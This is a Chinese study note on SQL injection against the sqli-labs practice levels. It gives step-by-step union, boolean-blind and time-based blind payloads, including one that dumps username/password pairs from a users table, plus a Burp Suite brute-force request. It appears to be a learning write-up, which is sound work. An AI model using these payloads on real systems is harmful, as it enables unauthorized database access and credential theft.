SQL查询语句 查库:select schema_name from information_schema.schemata; 查表:select table_name from information_schema.tables where table_schema ='数据库名'; 查字段名:select column_name from information_schema.columns where table_name='表名'; 查数据:select*from security.users;
limit语句:limiti参数有两个,用逗号隔开,前一个参数表示索引起始,后一个参数表示数据条数 order by语句:按照参数给出的列进行排序select * from users order by 1; SQL注释:--+-- # union联合语句:接着前一段语句进行操作,对前一段语句进行修改,使得前一段语句不进行输出,即可将union后所需数据输出 group_concat():合并一组相关数据并返回 concat_ws('~',A,B):将A和B用~进行连接,并保存为一条数据
less01
1 2 3 4 5 6 7 8 9 10 11
注入流程: ?id=1' #查看是否有注入 ?id=1'orderby3--+ #查看有多少列 ?id=1' union select 1,2,3--+ #查看哪些数据可以回显 ?id=-1'unionselect1,2,database() #查看当前数据库,输入值-1使得第一个查询语句不输出,从而输出联合查询语句内容 ?id=-1' union select 1,2,schema_name from information_schema.schemata limit i,1--+ #输出第i个数据库名称 ?id=-1'unionselect1,2,group_concat(schema_name) from information_schema.schemata--+ #输出所有数据库名称 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ #输出security数据库下所有表名 ?id=-1'unionselect1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ #查询表users内的所有列名 ?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users--+ #查询users表中的所有用户名密码对 ###推荐将单引号用十六进制编码进行替代
less05
1 2 3 4 5 6 7
布尔盲注:输入值使得条件为true时才返回信息,此时不能显示sql语句相关信息。 ?id=1' #查看是否有注入 ?id=1'orderby3--+ #查看有几列 ?id=1' and left((select database()),i)='s'--+ #判断前i位是否是s burp suite不能直接拦截本地包,通过ipconfig查询本机ip将本地地址改为ip地址即可拦截本地包 GET /sqli/less-5/?id=1%27%20and%20left((select%20database()),8)=%27securit§a§%27--+ HTTP/1.1 #通过暴力破解得到数据库名 ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)) =10 #通过判断库名的ASCII码解得库名
less08
1 2 3 4 5
时间盲注:注入if函数,通过页面刷新时间判断是否正确。 if()函数:类似三元表达式,第一个参数为条件,为真执行第二个式子,为假执行第三个式子。 ?id=1' and if(length(database()) = 8,1,sleep(5))--+ #判断数据库名位数 ?id=1'and if(ascii(substr((select database()),1,1)) =115,1,sleep(5))--+ #通过ASCII码确定每一位字母的值 ?id=1' and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+ #通过查库语句查出所有库名